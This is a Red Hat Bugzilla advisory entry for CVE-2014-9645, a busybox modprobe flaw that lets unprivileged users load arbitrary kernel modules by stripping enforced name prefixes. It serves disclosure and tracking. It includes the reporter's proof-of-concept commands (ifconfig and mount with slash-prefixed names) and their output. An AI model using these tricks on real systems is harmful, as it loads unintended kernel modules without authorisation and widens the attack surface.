Bug 1185707 (CVE-2014-9645) - CVE-2014-9645 busybox: unprivileged arbitrary module load via basename abuse
Summary: CVE-2014-9645 busybox: unprivileged arbitrary module load via basename abuse
Keywords:
Status: CLOSED WONTFIX
Alias: CVE-2014-9645
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
low
low
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
URL:
Whiteboard:
Depends On: 1198098
Blocks: 1185704
TreeView+ depends on / blocked
 
Reported: 2015-01-26 03:38 UTC by Kurt Seifried
Modified: 2021-02-17 05:44 UTC (History)
3 users (show)

Fixed In Version: busybox v1.23.0.
Doc Type: Bug Fix
Doc Text:
Clone Of:
Environment:
Last Closed: 2019-06-08 02:38:29 UTC
Embargoed:


Attachments (Terms of Use)

Description Kurt Seifried 2015-01-26 03:38:50 UTC
Matthias Krause reports:

modprobe uses the "basename" of the module argument as the module to load, as
can be seen here:

bbox:~# lsmod | grep vfat
bbox:~# modprobe foo/bar/baz/vfat
bbox:~# lsmod | grep vfat
vfat                   17135  0
fat                    61984  1 vfat
bbox:~# find /lib/modules/`uname -r` -name vfat.ko
/lib/modules/3.18.0-rc5+/vfat.ko

It should instead fail to load the module -- actually fail to *find* the
module.

This can even be abused to load arbitrary modules by nullifying enforced module
prefixes some of the Linux kernel's subsystems try to apply to prevent just
that:

bbox:~# lsmod | grep usb
bbox:~# ifconfig /usbserial up
ifconfig: SIOCGIFFLAGS: No such device
bbox:~# lsmod | grep usb
usbserial              32201  0

The actual modprobe invocation, done by the kernel was:
/sbin/modprobe -q -- netdev-/usbserial

Due to the bug, the "netdev-" prefix including the "/" are ignored and the
usbserial.ko module gets loaded.

The same works for filesystems, e.g.:

bbox:~# lsmod | grep snd_pcm
bbox:~# mount -t /snd_pcm none /
mount: mounting none on / failed: No such device
bbox:~# lsmod | grep snd_pcm
snd_pcm                88826  0
snd_timer              26606  1 snd_pcm
snd                    61141  2 snd_pcm,snd_timer

This time the kernel called out to:
/sbin/modprobe -q -- fs-/snd_pcm

Note the "fs-" prefix.

External reference:
https://bugs.busybox.net/show_bug.cgi?id=7652 (cert maybe expired)

Comment 1 Wade Mealing 2015-03-03 11:51:38 UTC
Created busybox tracking bugs for this issue:

Affects: fedora-all [bug 1198098]

Comment 2 Wade Mealing 2015-03-03 12:12:14 UTC
Statement:

This issue affects the versions of busyboxas shipped with Red Hat Enterprise Linux 4, 5 and 6. Red Hat Product Security has rated this issue as having a low security impact. A future update may address this issue. For additional information, refer to the Issue Severity Classification: https://access.redhat.com/security/updates/classification/.


Note You need to log in before you can comment on or make changes to this bug.